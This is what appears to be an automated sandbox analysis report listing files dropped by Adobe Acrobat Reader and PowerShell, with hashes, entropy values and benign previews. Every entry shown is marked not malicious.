Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.249164958571272
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9m1g5Vx+FIbRI6XVW7+0YTHWxoAvJfbPtdPeUkwRe9:YvXKX2g5yYpW7VOGDV8Ukee9
MD5:	75AE5D42352E3B609B5458C7459CEEF6
SHA1:	768F2A7FB59DEB6F400F95CB0F45D038AEF4B942
SHA-256:	4D7A705176FC40294FFC4B1A5CF092859CFA22A0A453603D69608B6DFE45D9A3
SHA-512:	451952E8734B7FDB0ABB5C2A4A460AFA2D274679A4FA0FADFBCF81BCD6B1B45E182E94DE112B4D61C0668290B6A54A30CAB23EDEBB21C2B4FE34C098BF61AB95
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.250654849865219
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9m1g5Vx+FIbRI6XVW7+0YTHWxoAvJf21rPeUkwRe9:YvXKX2g5yYpW7VOG+16Ukee9
MD5:	C76EBC7D0C8644B089EBC53676AA61A7
SHA1:	81ECE42F663598E25FE185CE94DF3C10211B0B8C
SHA-256:	7A824DC874379B43919561FC238B20ED19C453E57F0BE6BB9B4409865A75F9F1
SHA-512:	52B05B9339C1DB5E39F073A46AB0F65E6FA3E335377A4A2FF79C4CE1E7E49D7B97F03866AE832DB99129C249EBBEEA36CDA48611B6542CA69C942F9C07957018
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659382412053488
Encrypted:	false
SSDEEP:	24:Yv6XfRiV7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSi:Yv+I5BgkDMUJUAh8cvMi
MD5:	48CA766059AFD6006967E4818F8F3857
SHA1:	89754C216C99A0F474D03B2E0D4957CC7167D161
SHA-256:	366EB73594D54D7CF798EC168DCC19E410725755C6057EEE97BD2E5394EE8349
SHA-512:	2C7ED9FD30FDA2596C357326CFD4677740ACD6B4B7E76E4E93D7AC7ADF4004A7E97A7C44373E4EF024913B733A6ED93688BCAA8871BFB2EEEAC4CD797E04A5BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.22298764473209
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9m1g5Vx+FIbRI6XVW7+0YTHWxoAvJfshHHrPeUkwRe9:YvXKX2g5yYpW7VOGUUUkee9
MD5:	54F8761DE822E8909A54551D59BBBC2C
SHA1:	9CF8E7FD453FBB156AF221871BB0B7D252BD8A44
SHA-256:	2ED2EDE2F4F605A21A26B4EBCD774AA85A2FD1AF84E0391EE2D78F418F9F0DB7
SHA-512:	4294D6A0FCBFA3F2B63762500A90C328EE5A2A5ADBDC2A36E3DA832A13060735DCF991ADDF64C7B540EA2051645460361001E249443251B6EC25E17B6656DB59
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.23795848200029
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9m1g5Vx+FIbRI6XVW7+0YTHWxoAvJTqgFCrPeUkwRe9:YvXKX2g5yYpW7VOGTq16Ukee9
MD5:	908EA9BBB3F30CD01849156AAB0E90FA
SHA1:	21212136BC7BB5C942A5C716EB0B3859F25341E7
SHA-256:	31AD494EB66BC1F28E23D209930812870572580B147933E81E216246C2F67507
SHA-512:	289DC902B9290043A86364B8D82A365C534E07D1EBF9763278463CF0ECAADCB9F18D3CD19A739C5478F565A74458F4C47BF672307682924069F91E203B3C4E77
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d32f11a4-2cdf-4639-8a77-130e0cbdad69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719198771,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.133232426209121
Encrypted:	false
SSDEEP:	24:YADa1snav7YaydL0AoXLmElqtJWVKsYms1RcjqAsj0SbS2GfCY/2rheti2LSbMC4:YAeHXLAtwVMOqA+uflG56Bc5aWa0T9K
MD5:	8690FCF2BFA05C8CB140FD6645B4E679
SHA1:	CECC685D5B8D26027F1289BD56AD1B2AD0A001CE
SHA-256:	5892F8D0BE69C8232A7976DDA3DD257249C41CCC2469797E8C3585F19B52ED05
SHA-512:	07DD890CF08090168FE5F95F8101AB82ED7EFA0EA0CB8065ED195EE9BBED26C5594FDFD51464B483A99183DD6C17945AB242C42140755EBA235D1A002F57E9D8
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"5d2b6fd2ba9a37941c1ed425dd807905","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736545048000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"acc38290678e535409515f13a0ac5069","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736545048000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"1621e91836f8e69eddbcbdce5c248be9","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736545048000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"73a1cc95ce39950c91d0dac284bafa10","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736545048000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c875558deb0f444ec5f14e9d38a6e499","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736545048000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e4677649714a2f6da9e95d573241c99b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9854977657652337
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpSUE4zJwtNBwtNbRZ6bRZ4vUEF:TVl2GL7ms6ggOVpSczutYtp6PQJ
MD5:	B9FCF3362103C55408EF11C960530F7C
SHA1:	3C302BB44691A71FAC6238E3613C3360E28F22EA
SHA-256:	514E89AA118BC2BDED021FC480B709CF7FD64856D701CEC7B080A96B2A73E4C5
SHA-512:	B6208795F68FDEE43C22F79CF9A9DCF476E6E6B918D9D54EE0B5B2D0AA5DBFD4C6EAF509F5EBE4F3C9406D90261CE3E174EC7C0F6B7D6589F9C1E7989AF28ABF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.339067778864785
Encrypted:	false
SSDEEP:	24:7+tjAD1RZKHs/Ds/SpSUEPzJwtNBwtNbRZ6bRZWf1RZK/fqLBx/XYKQvGJF7ursx:7MjGgOVpSjzutYtp6PMaqll2GL7msyc
MD5:	58F37D84BD4203E295BB01C801E354E4
SHA1:	6CD878F174D86C08E2B67D1B097230B9D3FD7D39
SHA-256:	75DD2C2FBC8CEC8D2AF68AD2827BABE67554D671BCA652D3D02237F80E0C6137
SHA-512:	02CC4F4901B1E21D0EF515CE940C0B70230A3D231FC19D52F6BC4FC1F471E80CE943166E3072559756C99820E44FB977F3A40BF586A8666E0F092A6F083AE477
Malicious:	false
Preview:	.... .c......kJ.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgCxa5mLPu4zb3Fk8a/UjTRf7fgOnAYyu:6a6TZ44ADECxa5ubbO8YUbnAK
MD5:	6D63979D696E158CC66DD9900E313C6C
SHA1:	7EB5EC8286445E707F5D17C55CFB81CDDC6C3931
SHA-256:	B14977B56253005648C3A559316F32AAF7D198F24A9D9954574CACACC4902443
SHA-512:	C282CB024004CC597FB641F21CF9B7CBD2FFDD0E3AEA3AAD61A47E9269D502EAA24AB9C09718C2C49ABF9D9E2B10B78D6EF13DDE6FA95081C862F7AD005F1DF9
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIec387.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNIwlYH:Qw946cPbiOxDlbYnuRK+bDrNFlYH
MD5:	904653D3FEE24ACEFB55859779BAD943
SHA1:	4C07BF0550B5D01E70859F23AEE6626BE5C309D9
SHA-256:	0EB0E94AF2AD0B83E3183BEE02A228D320AEDD8564BE71C613FF32272C75836C
SHA-512:	3D96AED726E495B45BDB8853948D78CB59F6BD479B74369F83F83ADC079A8D329FAA3FE083CADA3471E7FFDA2E56241F84C7BAB4BCA7DA288EDB0F932E8E052A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.3.7.:.3.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yb4oamsn.zqa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zrw5235e.nhd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-37-24-371.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.340295573453782
Encrypted:	false
SSDEEP:	384:F2snESxnGHO4fxgBdrhkITHzq0r+8xphUrCceGjmVINKhApc0DPfGJRw5bxr3Yo6:p/h
MD5:	64334B4024A6B382498C9796D82D60AF
SHA1:	E35F284DA291E60AAE2CF44A285B19CED5C8C8B1
SHA-256:	4747E203AE97FD4B0C9EFD31911214698AB397770A980911BE2516F8FD1CB36F
SHA-512:	7E0BE0CF23A449BEB82A0F8274B3153123A8BF3C50ED7AEB5CC3F122751973C2C3B305A1F2BA5ACC2F6BF3F2679F4C2B649FD537FDCA69FC65E1AF5BDBA6BEDD
Malicious:	false
Preview:	SessionID=d96e0abc-bf85-4861-8305-d6d801e0c08e.1736545044387 Timestamp=2025-01-10T16:37:24:387-0500 ThreadID=2820 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d96e0abc-bf85-4861-8305-d6d801e0c08e.1736545044387 Timestamp=2025-01-10T16:37:24:389-0500 ThreadID=2820 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d96e0abc-bf85-4861-8305-d6d801e0c08e.1736545044387 Timestamp=2025-01-10T16:37:24:389-0500 ThreadID=2820 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d96e0abc-bf85-4861-8305-d6d801e0c08e.1736545044387 Timestamp=2025-01-10T16:37:24:389-0500 ThreadID=2820 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d96e0abc-bf85-4861-8305-d6d801e0c08e.1736545044387 Timestamp=2025-01-10T16:37:24:389-0500 ThreadID=2820 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.396042503758713
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbw:zA
MD5:	47F7334CBCCB26EE6184D1596FFF8E0B
SHA1:	5B8C21772F3B6821419389EE3AFD8707E1E6B8A9
SHA-256:	2AAF928D342E63F68C6C04BE2E1AF8236E8BDB9978E4FA9F9A49E173D6492D52
SHA-512:	05E09A88F4F347B953D9DC3DE2E59C6CA8B829C7FFB04E16093EFAAF7429F30AA7D18026A704463BB52197F4706F294107374301C3A557740E785FBE565BE30F
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\41176568-442a-41e6-8f3b-95dd27cad295.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\47c59681-ff76-4abc-bc14-1d72ef4ccf60.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c8483f90-b71c-4119-a923-2c92133609da.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
